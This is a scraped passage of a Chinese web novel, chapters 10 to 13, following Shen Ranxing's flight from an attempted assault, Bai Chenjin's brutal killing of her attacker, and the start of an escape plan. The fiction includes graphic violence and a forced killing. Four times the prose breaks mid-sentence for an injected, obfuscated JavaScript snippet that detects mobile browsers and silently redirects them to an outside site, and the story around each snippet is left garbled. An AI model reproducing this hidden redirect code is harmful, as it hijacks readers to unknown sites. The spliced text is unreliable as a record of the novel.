一声轻笑,将她急得慌得语无伦次的话,堵了回去。 被她刻意压下的恐惧,排山倒海般反扑而来——果然他是知道的,知道她的危险处境,知道她即将受辱,只不过是在冷眼旁观。 白尘烬转身,背对着烛火,窗外月光再照不入他的眼,一双灰蓝色的眼眸此时晦暗阴沉:“演够了?”他的声音冷淡到了极点,“那就滚出去。” 沈染星仰头看白尘烬,脆弱又无措。 除了原书女主,其余人一概入不了他的眼。 自己便是那其余人中的一员,凭什么觉得他会答应自己如此突然的请求? 微弱的烛光变得刺眼,仿佛要将她的狼狈摊开,展露在光明之下。 她垂眼,盯着沾满了尘土,划痕遍布的鞋尖,这几日,各种或强或弱的妖往外逃,都被抓回来了。 如果,如果她自己逃,真的可以吗? 沈染星紧抿唇,总得试试吧,就是留在这里,等他们秋后算账,也是死路一条。 她小臂横在胸前,护着破碎的里衣,另一手反手撑着墙,试了几次才站起来。 白尘烬视线落在她手上,“那是什么?” 沈染星顺着他的视线,往下看,这是石头,还能是什么? 这块石头棱角尖锐,拳头大小,沾着点鲜红血迹。 用来砸人的石头居然还没扔?! 沈染星一慌,直接扔开了石头,胸前凉意阵阵。白尘烬的目光落在她胸前,一顿。 他的脸色阴沉下来,眼眸发寒,周身杀气腾腾。 他生气了,沈染星从未见过他如此情绪外露的模样,已经耗干的害怕情绪又开始翻涌。 沈染星下意识捂住胸口,掌心按到一片温热肌肤,胸口也传来刺痛。 她衣襟撕裂一条大口子,半个浑圆都袒露了出来,锁骨处还有两道红肿的划痕。 沈染星迷惑,总不该是她这副模样,污了他的眼,惹他生气了吧? 见死不救就算了,做人怎么能小气成这样?! “我……我现在就走。”沈染星担心事态变得愈发糟糕,只能先行离开。 她刚转身,白尘烬身形一闪,挡在了她面前。 他目光幽幽地盯着她的脸。 在他的目光下,沈染星不明所以,下意识侧脸,试图掩盖脸上的狼狈。 可下一瞬,白尘烬抬手扣住她下巴,不由分说的把她的脸往右转,左脸的红肿展露无遗。 他身上的气息愈发可怖,沈染星被他盯得头皮发麻,心脏狂跳,不敢随意动弹,担心哪些动作又刺激了他。 可她压制住了动作,压制不住情绪,视野渐渐朦胧,眼眶再也蓄不住泪水,一颗咸涩泪珠滑落,划过红肿的脸,刺得火辣辣地疼。 他妈的早知道自己逃了。 刚逃出狼窝,自己又钻入虎穴。 沈染星以为白尘烬要做出什么伤害她的事时,他放开了她,冷声道:“等着。” 他丢下两个字,便转身离开了。 沈染星呆愣在原地,猜不透他想做什么,总不能是给她找药吧? 她错了。 白尘烬对她从来不存在温柔二字,从来只有暴虐,狠厉,阴冷,无论是针对她的,还是针对她仇人的。 找药是不可能找药的,他出去不过半盏茶时间,又回来了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222847|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是手上拖着个人。 沈染星脸疼,手疼,脚疼,哪里都疼,疼得她没了力气,又重新坐回了墙角,见到白尘烬手上的人,瑟缩了一下肩膀。 白尘烬大步往前,手一甩,并将手中的人甩到她面前,砸在窗前桌上,直接把桌子砰的一下给砸散架了。 这“人形保龄球”正是洪大林。 洪大林双目紧闭,侧倒在地,脸上的肥肉松垮垮的垂着,丝丝缕缕的汗酸味在他身上飘出。 沈染星把脚往回缩,不解地看看洪大林,又仰头看白尘烬。 白尘烬垂眼,与她对视。 沈染星身在屋檐下,不得不低头,没他的话,她不敢轻举妄动。 于是她一动不动,看着白尘烬沉静的眼眸。 两人哑巴似的对视几息…… 而后白尘烬踹了一脚洪大林,洪大林痛哼一声,睁开双眼,视线缓慢聚焦,落在沈染星脸上,陡然变得狠厉。 沈染星猛然打了个冷战,从脊背到头皮一阵发紧。 白尘烬该不会尤觉没吓够她,或者恼怒休息被扰,所以把人带来了吧? 这是人做的事?! 也是,在遇到沈染星前,书中也没说他行事作风像个人,甚至可以说不像人,像冷血无情的杀人机器。 洪大林刚醒来,未搞清楚眼下状况,他只知道眼前这个女人,居然敢砸他的头。 在伏妖居,就没人敢这样忤逆他!他撑着剧痛的头,就要往沈染星扑过去。 才起了个势,白尘烬一把扯住他头发,将他甩到几步开外。 他恶狠狠地要起身,一抬头,瞧见白尘烬,懵在原地。 沈染星也懵。 她用几乎称得上乖巧听话的眼神,与白尘烬对视,展示她的无害,传递她的善意,也表达她的疑问。 白尘烬站在她身前,默了半晌,眼中的沉静慢慢沉了下去,阴郁却开始逐渐堆积。清冷月光下,他过长的睫羽在眼下投下一道阴翳。 然后,破天荒的,沈染星居然在他身上看到了不耐烦与烦躁。 可他并未做出过激举动,只是一言不发,右脚往后退一步,侧过身子。 沈染星心中才升起的恐惧,卡住了。这一般情况下,按照原书中对他性格的描写,此时此刻,正是他大开杀戒,抚平内心烦躁的时刻。可他为何…… 动作平静至此?! 沈染星双臂交叉,紧紧裹住自己,遮住胸前的春光:“怎么了吗?” 白尘烬皱眉,嫌弃几乎要从他眼中溢了出来。他的嗓音低沉,十分不耐:”过去,杀了他。” 沈染星立即摇头,虽然他也觉得洪大林该死,若是在方才混乱打斗时,她或许会下手。如今冷静下来了,再让她杀人着实是…… 白尘烬缓慢重复道:“过去,杀了他。” 他的嫌弃之色实在明显,沈染星反应了好一会儿才发觉,难道他是在嫌弃她的窝囊?看不过去她的窝囊样? 是的吧,肯定是的吧。 不过慧眼如他,确实没看错人…… “我打不过,我不敢……” 白尘烬转身,朝洪大林走去,洪大林如何不明白他的意图,爬起来就往外逃。白尘烬伸手抓住他臂膀,咔嚓一声,惨叫声震天响。 洪大林的手脱臼了,无力垂着。他又惊又怒,想说些什么,却发现根本说不出话。 旋即,另一只手也脱臼了,腿也折了,他被扯着头发,拖到沈染星身前。 瞧着如同被开膛破肚的鱼一样,原地翻腾打滚的洪大林…… 沈染星眨巴着眼,什么意思?把人处理得半残废,好让她杀吗!? 11. 第 11 章 此情此景,沈染星脑中装满了疑惑。 从白尘烬的所作所为来看,显然是在帮她报仇,这很符合他有仇必报的风格,下手之干脆,之利落,与书中的形象一致。 可唯有一点不对,这仇是她的,不是他的,他在意个什么劲儿? 他不是一个爱管闲事的人。沈染星很有自知之明,她知道自己在白尘烬心中的地位。 对于白尘烬而言,她只不过是一个引起了他几分兴趣的人,根本没到大费周章地帮她报仇的程度。 从白尘烬的反应来看,他对她的遭遇有所预期,早些时候,在驯妖室时,他是在的。那时他并不想管,直接忽视,任由事态发展。 今晚也一样,若非她从洪大林手中逃脱,若非她来寻他,他根本无心掺和。 甚至见到她出事了,第一反应是冷漠的赶她走…… 态度急转而上,是在她丢掉手中石头,准备离开的那一刻。 那时到底发生了什么? 白尘烬当时首先问的,是她手上的石块,她将石块扔了后,没了小臂的固定,破裂衣襟敞开了。 沈染星按了按心口,他当时看到了……而且眼色瞬间沉了下去。 难道是因为这个?白尘烬杀人如魔,居然是个纯情小男生?看见了她露出的一半浑圆,所以对她负责? 这一想法冒出,沈染星打了一激灵,拍了拍自己脑袋。 打住打住,她思想真是踩了西瓜皮,方向不可控,一个劲儿的瞎溜。 要是真是这样,他还当个屁的魔头,打斗过程中对方衣衫破损,那他还要放下屠刀,转而救人不成。 不过,男女大防方面,白尘烬的确比较在意。 原书中女主受伤,他背着她寻了户农户人家,让那家女主人给处理伤口。 期间的换药,清洗,他一概不过手。平日里也从未有过逾矩的行为。 如此看来,那日她给他亲手洗去手上血污,不可谓不大胆。可他并不抗拒,反倒气息变得平静,温和。 沈染星心跳逐渐加速,是不是只要维持亲密关系,就可以……利用他? 横在胸前的手臂动了下,最终还是没有松开,她对白尘烬道:“我们先别管他了,我们现在就走吧,离开这里。” 白尘烬面色冷漠,却并未拒绝。 沈染星接着道:“他是东家的亲弟弟,要是把他杀了,伏妖居肯定会拼尽全力的追杀我们,这样一来,我们更难逃了。所以不要杀他了,我们先逃吧。” 白尘烬沉默不言,沈染星以为即将劝说成功,还欲再劝时,白尘烬说话了。 “你不杀了他,我便杀了你。” 沈染星反应了一会儿,才听懂了这句淡漠的句话。 什么意思?沈染星实在无法跟上他思绪,不知道的,还以为洪大林想要侵犯不是她,而是他。 此时,他要报复的欲望比她强烈,而且还是要她亲自动手的报复欲望,仿佛她的软弱让他无法接受,碍着他眼了…… 不过她不是他,没那日天日地,横行霸道的实力,哪能不顾后果,全凭心意做事。 沈染星摇头,白尘烬忽地来到她身前,抓住她臂膀,一把扯起她,肌肉拉扯的疼痛让她面色一白。 未等她痛呼,他手一推,推着她往洪大林那处走了两步,她脚尖几乎要踢到人。 沈染星下意识往后退,背后一重,撞上了白尘烬胸膛。 无处可躲。 沈染星转头看白尘烬,他冷冰冰的站着,堵住她的退路,今日她不做点什么,这一部分显然过不去了。 沈染星弯腰,捡起一条断裂的桌腿。桌腿一尺来长,大臂粗,断口木刺杂乱,是极趁手的武器。 洪大林腿脚也受了伤,爬不起来,兀自朝门口蛄蛹,沈染星一棍敲到他脑袋上,咚的一声。 空气安静一瞬,洪大林蛄蛹动作一顿,表情愈发狰狞,睚眦欲裂地盯着她。 这一棍敲得不轻不重,对洪大林造不成任何伤害,可侮辱性极强。 白尘烬扫了沈染星一眼。 沈染星一个机灵,当机立断,手起棍落,再次砸在了洪大林额头上。她这一次的力道很大,棍子沾了血,洪大林右眼被血浸得张不开了,可白尘烬似乎还不满意。 沈染星心头害怕,就小声说道:“这样就可以了吧,我已经消气了。” 白尘烬眉头皱起,看起来更加烦躁了,显然处于发怒的边缘,似乎怒到要干脆将她一起杀了。 沈染星心里咯噔一下,不敢再说,握住棍子的手紧了紧,将棍子重新扬起。 白尘烬耐心耗尽,不再给她机会,连同棍子一起,抓住了她的手。 他的手心冰寒,即便隔着素帛,也冻得沈染星手背发麻。 刚才扣住她下巴时,他手指的温度是正常的,现在却冰寒得可怖。 这不是她第一次发现他指尖温度的骤然变化。 他指尖温热时,压迫感会减轻,甚至有些温和…… 沈染星心脏重重跳了一下,他想杀人,起了杀心时,手的温度才会骤降。 她顿时遍体生寒。 她知道白尘烬有过杀她的心,但没想到他们每一次见面,他都想过要杀她。 沈染星不由得想起前几次,每一次感受到他指尖冰凉的场景。原来最该注意的,不应该是温度,而是自己的小命…… 此时沈染星无比清晰的意识到,她曾在阎王爷面前闪烁了好几次…… 也不知该说她命苦,还是命大。 白尘烬现在也想杀人了。好在要杀的不是她,可是要…… 逼着她杀人! “我已经消气了,”沈染星极力压住所有的恐慌情绪,“如果你还想继续的话,我把棍子给你,你去打他吧。” 既然他还生着气,那么尽管去消气,要杀要剐,悉听尊便,只要不逼着她去做就行。 “我去多没意思,”白尘烬带着她手腕一转,木棍端口处超前,“若是你下不去手,我来助你。” 说完,他轻笑了一声,似乎说她下不去手,是一件很可笑的事。 笑完,他膝盖往前一顶。 腿弯处传来一阵剧痛,沈染星一声痛呼,往前跪倒,又是一阵刺痛。 他大爷的!他顶到她的腿弯旧伤,又害她磕到了膝盖旧伤!疼得她生理眼泪都溢出来了! 可她来不及缓解身上的疼痛,白尘烬攥着她的手,她握着木棍,木刺凌乱又尖锐,朝着洪大林喉咙戳去。 沈染星顾不得疼痛,拼命的挣扎。 受了二十年文明教育的她,面对一个毫无抵抗力的人,无论如何也是下不去手的。 更何况杀了洪大林,情况只会变得更糟糕,简直是百害而无一利。 此时疯子才下手。 ……或者被疯子逼着下手。 两人力量悬殊,沈染星根本挣脱不开,为了看她挣扎的模样,白尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222848|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烬甚至放慢了动作。 随着木刺一点点刺入活生生的喉咙,沈染星手臂上的汗毛一根一根炸起来,头皮发麻,连牙齿都在打颤。 她疯狂的求饶,求着白尘烬住手,可白尘烬充耳不闻,甚至抬手按在她的脊背,逼迫她靠近血案现场。 沈染星恐惧到了极点,心一狠,一咬牙,冒着手臂肌肉拉伤的风险,扭身撞入白尘烬怀中。 既然亲近能够让他在意,让他心软,那么看在拥抱的份上,就不要再逼她了。 白尘烬停住手上动作,眼睛微微一眯,放在沈染星后背的手,往上,抓住她的头发,一把将她扯开。 本想再压着她继续的,可她实在太过狼狈。 右脸红肿,头发凌乱,眼圈和鼻尖都哭的红红的,衣不蔽体,胸前的两道划痕红得刺目,纤弱的身躯控制不住地瑟瑟发抖,双臂也依旧紧紧环住他的腰身。 此时,他才后知后觉,他松开了她的手,木棍不知何时已掉落在地。 扯着她头发的手一松,她便如同吸铁石一般,又贴了上来。 晚风自窗外掠入,压低了烛火,房内暗了几分。 片刻过后,白尘烬眉头一皱,抓着沈染星臂膀,将她扯开,力道极大,直接把人推倒在地。 沈染星趴在地上,极力平复失控的情绪,刚刚本想着只是装装样子,可紧绷的弦还是断了。 这几天一直积压着的压力、恐慌、不安、委屈等负面情绪,在不合时宜的地点,有失妥当的时间,以及不甚恰当的人面前,如决了堤般汹涌而出。 身后传来噗嗤一声,沈染星扭头看去。 模糊视线中,白尘烬拔出插入洪大林脖颈中的木棍,血液喷涌而出,洪大林如同缺水的鱼,仰着头,张着嘴,努力地吸气。 一咳嗽,鲜血从口中溢出,随后他人倒下,彻底断了气。 白尘烬随手扔了木棍,木棍砸到地板上,闷闷地哐当一声,滚出几道血印子。 按照常理,他现下应该过来灭了她的口,毕竟她忤逆了他,最终还是劳烦他老人家亲自动手杀人。 可他却面色沉静,似是已平了心中燥火,一言不发的看着她。 他迟迟未动手,可能是因她哭得太夸张。 甚至在他眼中,此等狼狈容貌,或许还有欣赏价值。 沈染星平复情绪失败,坐在地上,抱着双膝,抽噎得的上气不接下气,几乎要缺氧了。 白尘烬直挺挺的站在她身前,“观赏”了一会,似乎终于饱了眼福,转身往床榻走去。 沈染星啜泣道:“你有衣裳吗?” 委屈归委屈,衣服还是要穿的,她现在……胸前凉飕飕的。 白尘烬并未回答。 半晌过后,一件青褐色的交领襕衫罩头落下,带着淡淡的雪松木气息,干燥,清透,给人一种安心的疏离感。 “你有药吗?” 沈染星把衣衫裹在自己身上,即便动作缓慢,各处都传来不同程度的痛,最痛的膝盖处,还有他的一份“功劳”。 白尘烬沉默片刻,从柜子里找出了药,扔到沈染星怀里。 沈染星将瓷白的药瓶握在掌心,用他的衣衫胡乱地抹去脸上的眼泪,得寸进尺地小声逼逼。 白尘烬才抬起了脚,又落回原处,脚步声重了些,似乎在问:又怎么了? “我们明晚一起逃出去,可以吗?” 白尘烬转身离开,冷淡道:“随你。” 12. 第 12 章 那个拥抱,虽然狼狈,混乱,没带一丝旖旎,却起到了一个里程碑的作用。 似乎从一刻之后,沈染星和白尘烬的关系更近了一步。 晚上她裹着衣衫,蜷缩在白尘烬的床边,屋内有具尸体,实在无法入睡。 在她迟迟不睡,窸窸窣窣小动作的骚扰下,白尘烬终于忍无可忍,掀被下床,把尸体拖了出去。 就这,他也没对她动手。 没想到初拥的威力如此巨大。 甚至就在她以为他不再回房,直接在外面过夜时,他却回来了。 次日沈染星醒来时,白尘烬还在睡,盖着薄被,睡姿端正。 她独自回房,在一片狼藉的房里,换了一件交领上衣,遮去锁骨下的伤口,把逃跑物资从床底掏出来。再次回到白尘烬房里时,他却不在了。 为了不引起怀疑,沈染星照常去驯妖室。 旭日东升,朝阳暖和。 路上,她遇见了林绯烟。 “你脸怎么了?”林绯烟停在原地,回头看她,没打招呼,直接抛出了个问题。 沈染星抬手摸了一下脸,白尘烬的药效果明显,她脸已经不肿了,只是还有些红。 她一面朝她走去,一面含糊道:“摔的。” “怎么会摔成这样?” “就歪了脚,头朝下,脸着地了……” “昨晚分开的时候,还好好的,你又去哪里了吗?” “啊……起夜摔的。”沈染星担心他继续追问,扯开话题,“今天的早饭尤其丰盛哈。” 林绯烟沉默片刻,道:“这几日早饭都一样。” “……啊哈哈哈,也是。” 聊着聊着,林绯烟发现沈染星掌心,膝盖,手肘等处皆有伤口,硬是要拉着她回去上药。 沈染星推脱不过,也跟着她去了。 这一侧的房子与沈染星的住处天差地别,道路敞亮干爽,花团锦簇,每人有一座独立小院。 沈染星坐在东厢房里,林绯烟站在身前,轻柔地给她的脸上敷药。 “昨晚洪大林夜不归宿,你听说了吗?” 沈染星压下心中的慌张,睫毛轻颤,垂眼避开她的视线,“没有。” “我还以为他会去找你。” “没有,我们不熟,他又怎么会找我……” “不熟吗?” “不熟!” 林绯烟用手背抵住她下巴,轻抬起她的脸,指腹沾着药,轻轻涂抹在她脸上,温声问道:“昨个儿下午你们在二层里聊什么?” “也没聊什么,我随便看看,恰好他也在而已。” “听我一句劝,他不是个好招惹的人,最好离他远些。” 已经离得足够远了,阴阳相隔。 沈染星一愣,此时她多么庆幸白尘烬杀了洪大林,永绝后患之忧。 想到此处,她连连摇头:“不可以!” 林绯烟涂药的手松开,柳眉微蹙,担心的道:“我作为过来人,担心你……所以多劝了两句。” 沈染星顿时反应过来,林绯烟这是误会了。 她说的不可以,是不要被白尘烬同化,而不是不愿远离洪大林。 她连忙解释:“我是说,不可以离洪大林太近。” “嗯。”林绯烟蹲下,“你膝盖也有伤,你把裤管卷起,我也给你上些药。” 沈染星听话地卷起裤腿,露出膝盖铜钱大的伤口,此这一处直接磕到了石子,伤口较深,还残留着昨晚的药。 林绯烟鼻子忽然凑过去,嗅了两下,惊得沈染星往后缩。 这行为未免太过奇怪,沈染星还未问吃口,她倒先开了口:“这药……你是从哪得来的?” 白尘烬给的药有一阵淡淡花香,对止痛消肿有奇效,当时一用,沈染星便知不是寻常药膏。 她也不打算隐瞒。 “白尘烬给的。” 林绯烟表情微僵一瞬,食指挖出一些药膏,给她膝盖上药:“他也不是什么好人,最好也……不要招惹。” 的确不是一个好人,但是…… 沈染星诚实道:“我已经招惹上了。” 林绯烟专心上药,并未抬头:“不过,我瞧他对你不错,如此珍贵的药也愿意送你。” 沈染星此后才从林绯烟口中得知,她用这药是多么的暴殄天物,豪放到令人发指。 此药叫“玉肌生”,宫廷御用药,制作极难,治疗外伤效果奇佳,寻常人家根本寻不到。 东家洪营两年前划伤了眼,为了恢复视力,大费周章,花了不少银子,寻了不少关系,才弄到了小半瓶,林绯烟也因此认得此药。 洪营见了小半年大夫也治不好的眼疾,用了那药,三天便好了大半。 沈染星回想起昨晚,白尘烬随手给他扔药情形…… 哪有点对待珍贵药膏的模样。 ……更像是在街边两文钱买的。 若不是这药的效果奇佳,本该一两周才好些的伤口,才过了一晚便好了大半,沈染星甚至会怀疑林绯烟在逗她。 “寻常人可近不得他身,”林绯烟已给她膝盖上好药,仔细地放下她裤管,揶揄地抬眼看她,“你这是用了什么迷魂汤,捕获了他芳心?” 这句话一下子戳中了沈染星的心,为了活下来,她的确刻意的把两人的关系往那一处引。 他图她的亲近和陪伴,她图他的力量和保护,目前两人算是互相利用,各取所需的关系。 见沈染星低头沉默,林绯烟站起身,轻轻撞了一下她肩膀:“快和我说说,你和他发生了什么。” 沈染星依旧摇头。 林绯烟却不依不饶。 实在抵不过她的纠缠,沈染星还是挑着能说的,再经过一番润色后,粗略地同她说了。 比如由于摔跤太疼,哭了,搂住白尘烬什么的,听得林绯烟发出一阵又一阵的调笑声和起哄声。 话罢,沈染星话题一转,轻声问道:“你想要离开这里吗?” “离开?” “对,只要离开这里,你就不用再过现在这样的生活了。” 沈染星纠结了很久,不忍林绯烟继续在这里沉浮,若是她也想离开,或许她可以带她离开。 见林绯烟面色惊讶,犹豫,沈染星心砰砰的跳,接着道:“你有想过吗?” “有,我一直都想改变现在的处境。” “我们一起走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222849|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林绯烟双眸亮了起来:“你有办法吗?” 沈染星点头:“有,今晚就走。” 她们约了子时相聚,地点在白尘烬房里。 这一日,沈染星和林绯烟神色如常,回到驯妖室,把大大小小妖钉处理好,放置规整。 林绯烟有事先行离开,沈染星故技重施,待所有人离开后,又溜进了第二层。 二层光线一如既往的昏暗,空气粘稠,阴冷,令人不适。 今日这里又经历了一场血斗,满墙的妖,大部分都虚弱得发不出任何声音。 沈染星压着紧张,径直走到雪貂妖的笼子前。 她来迟了。雪貂妖更换了妖钉,毛发粘血,凝成一缕一缕的,眼皮都抬不起来,几乎是昏迷状态,对她的叫唤没有任何反应。 等救出去后,将妖钉拔了,或许能好起来。 咔嗒一声,沈染星拉开了笼子的铁栓。 她终于打开了这个鬼笼子。 天知道她为了这一步,折腾了多少事! 沈染星没有任何犹豫,伸手捞起雪貂妖。它软得像一刻果冻,巴掌大小,不知哪里的伤口还渗着血。 她轻轻把它塞进领口,确保看不出异样后,转身离开。 可还没走出门口,整个石室狠狠颤抖一下,随即第三层里,传来嘭的一声巨响。 这是白尘烬在驯妖。 沈染星愣在原地,可为什么他还在驯妖?他们今晚就要离开了。 想起他昨日答应的随便……总不该真是随口一说吧? 不对,他杀了洪大林,而洪大林东家的亲弟弟,事件一经暴露,伏妖居不会放过他,他留不下来了。 石室内又一阵剧震,部分身体尚可的妖受惊,惊慌地撞击着笼子,室内顿时不安地吵闹起来。 沈染星往回走,停在三层门外,探头往里看。 那是一个巨大的牢房。 石壁上燃着火把,火光摇曳,将铁栅栏的影子拉的忽长忽短。 铁栅栏里,白尘烬肩背挺拔,身前地上倒着一个瘫软如泥,只剩微弱呻吟的……人? 沈染星惊得瞠目,不对,这是可化人形的大妖。 “你知道的,这是你唯一的生路。”白尘烬的声线低沉悦耳,没有任何情绪起伏,只有一种彻底掌控生杀予夺权利的,令人胆寒的平静。 按照书中的设定,能化作人形的大妖,已是一方妖域霸主,自我意识极强,白尘烬竟然要在这几天内给驯服。 地上的人并未作声,忽地一阵压迫感袭来,危险又致命,沈染星打了个激灵,一个转身,脊背靠在粗立的石壁,堪堪躲过那股危险。 这山洞内,每一层都有相应的阵法,阻隔各自的影响。 饶是知道继续看下去,那骇然的危险会被阻隔,她还是止不住害怕,连腿都在发软了。 沈染星深吸一口气,努力使自己冷静下来。 以白尘烬的实力,若真的要害自己,根本不必如此弯弯绕绕,直接掐死了不省事? 反正原身只是一介杂役,死了也不会有人管。 思前想后,白尘烬也没理由在这关头背叛她,她不再耽误,先带着雪貂妖离开了。 13. 第 13 章 二更天,巷中烛火渐次熄灭,更夫锣声阵阵,近了又远。 沈染星怔怔站在白尘烬房门前。 屋内的血迹消失了,桌子换了新的,连桌上的花瓶也换了一个,白底青花,依旧插着一支淡蓝色的夏花。 伏妖居不知白尘烬杀所杀何人,依旧不闻不问,直接善后处理得干干净净。 她不由得暗叹,他在这里的待遇,恐怕比她想象的还要好上许多。 若他们得知死的是东家的亲弟弟…… 不知会作何反应。 永夜般的暑气沉沉压下,即便入了夜,也没有一丝凉风。 沈染星备好了清水、白麻布,连那瓶珍贵的玉肌生也拿了出来,一一在桌上摆开。桌角置一白铜更漏,滴答作响,用以计时。 雪貂妖小小的身躯微微颤抖,趴在她左手掌心,脑袋耷在她拇指上,眼中写满惊惧,细弱的胸脯急促起伏。 “别缩脖子。”沈染星正小心翼翼摸索雪貂妖头顶的妖钉,指尖刚触到一个硬点,它一缩,那硬点又隐没在柔软毛发中。 雪貂妖发出细微的“咯咯”声。 沈染星指尖仍在它头顶轻探:“我知道你痛、你怕,可不拔出妖钉,你说不定什么时候又会失去意识。” 蟋蟀的鸣叫不知在何时,突兀地停止了。 烛火在她专注的脸上投下摇曳阴影,额角沁出细汗,反射着温润微光。 她的声音低柔,似对孩童呢喃:“摸到了,这次别动,我给你拔出来。” 双指捏住妖钉末端,正欲动作,雪貂妖却在她掌心猛地一颤,并非因为疼痛,而是某种更原始的本能。 沈染星不知它在怕什么。 只知道一而再,再而三,也没能把妖钉拔出来,有些急了,她轻捏它的小脑袋:“我们时间不多了,再乱动我就硬来了啊。” 雪貂妖稚嫩的童音在她脑中响起:“我不是故意的……只是觉得不对,太安静了。” 沈染星顿了顿,她也察觉到这不同寻常的死寂,不安感悄然升起。 她轻吸一口气,将心头泛起的异样归咎于时间紧迫,离子时不足一个时辰,白尘烬和林绯烟却都还未到,令她异常敏感。 雪貂妖也低声道:“可能是我妖力未复,太过紧张了。” “嗯。”沈染星专注手上动作,再次摸到妖钉位置,“我数到三,一把拔出,你做好准备。” 雪貂妖“咯咯”两声,应下了。 沈染星的声音在死寂中格外清晰:“三!” 她猛然发力,瞬间将雪貂后脑中半截小指长的妖钉拔出,眼疾手快挖出一坨玉肌生按在涌血的伤口上,再用白麻布紧紧按住。 所有动作一气呵成。 雪貂妖顿了几息,这才反应过来,不可置信地瞪大双眼:“你不是说数到三吗?” 沈染星理直气壮:“我是数了三呀,你没听见‘三’吗?” 雪貂妖一怔,瞳眸蓝晶晶的,里面满是懵懂与困惑。 沈染星凑近些,压低声音:“你听见了吗?” 雪貂妖点头:“听见了……” “那不就得了。” 雪貂妖眨眨眼:好怪,但说不清哪里怪…… 沈染星低笑一声,目光却不自觉瞥向窗外,只有沉沉的黑暗,像一块厚重墨绒毯,吞噬了一切。 时间所剩无几,他们怎么还没到…… - “绯烟,你眼角生了纹路。” 林绯烟坐在圈椅中,高高仰着头,一瞬不瞬地盯着眼前说话之人。 一只干瘦的手轻轻托着她下巴,缓慢地左右转动她的脸。 林绯烟面上带着柔弱与浅淡娇媚,笑道:“没了东家照拂的这段日子,我过得心惊,又时常劳累,显得疲惫也属正常。” 伏妖居东家洪营生着一张瘦长脸,三角眼微眯,眼尾可见两处细长疤痕,是年轻时驯妖所留。嘴角挂着似笑非笑的弧度,两撇稀疏胡须似老鼠须。 “此事若成,我自然不会亏待你。”洪营松开她的脸,不再看她,“白尘烬你没勾着,大林那小子魂倒要飞到你身上了,今日都不见人影。” “您也知白尘烬是个冷心冷面的,与他相好哪有那么容易。”林绯烟按着太阳穴道,“林哥这段时日都没找我,他不见人影可怪不得我。” “没找你?那他找谁去了?” 林绯烟一顿,脑中闪过沈染星的身影,垂眼道:“这我就不知了。” - 桌角白铜更漏“嗒……嗒……嗒……”地滴着水,缓慢得令人心慌。 更漏显示将至子时,相约的两人却依旧未到。 沈染星停下来回踱步的脚,伸出食指轻戳雪貂妖的小脑袋:“你的妖力什么时候能恢复?子时我们就要出发了。” 雪貂妖趴在桌面白麻布上,一动不动:“到子时的话,大概能恢复两成,最多只能戒备二三个时辰,范围也大大缩减,只能探到二三十丈内的道路情况。” “嗯,”沈染星从包袱中取出地图展开在桌面,指尖点过圈出的几处地名,“我们打算到这几处村落借宿,你只需帮忙避开追兵,挑一处落脚休整。” 雪貂妖正要回答,忽地毛发炸起! 它急促紧张的声音刺入沈染星脑海:“有人来了,气息很危险。” 窗外,那片浓密的、多年未经修剪的丛林里,枝叶纹丝不动。 沈染星本就因提前逃跑而紧张。今夜无风,巷中空无一人,只有一片令人窒息的死寂,她愈发不安。 雪貂妖即便虚弱也弓身戒备,它在颤抖,不再是因为伤痛,而是源于一种本能的恐惧。 “只有一人。”雪貂妖说。 “好,你别出声。” 沈染星将它放下,拿起桌上白瓷花瓶,轻巧走到门边,屏息敛声准备偷袭。 她也隐隐察觉到了,有什么人就在外面,并且极其危险。 她的手心变得冰凉,额角渗出细汗,烛光依旧明亮,却再也带不来温暖,反而像将她暴露在无形危险下的光线下。 滴漏停了,子时已到。 与此同时,与她一墙之隔响起了脚步声。 那缓慢、平稳的步调,仿佛敲击在她心上。 来人已至门前,她强迫自己冷静,平稳呼吸,双手慢慢举起花瓶。 来了。 门吱呀打开,沈染星手正要落下,又猛地停住。 来人……是白尘烬。 他回趟房,周身气息搞得那样阴森做什么! 她还以为计划暴露,有人前来捉拿她了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222850|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 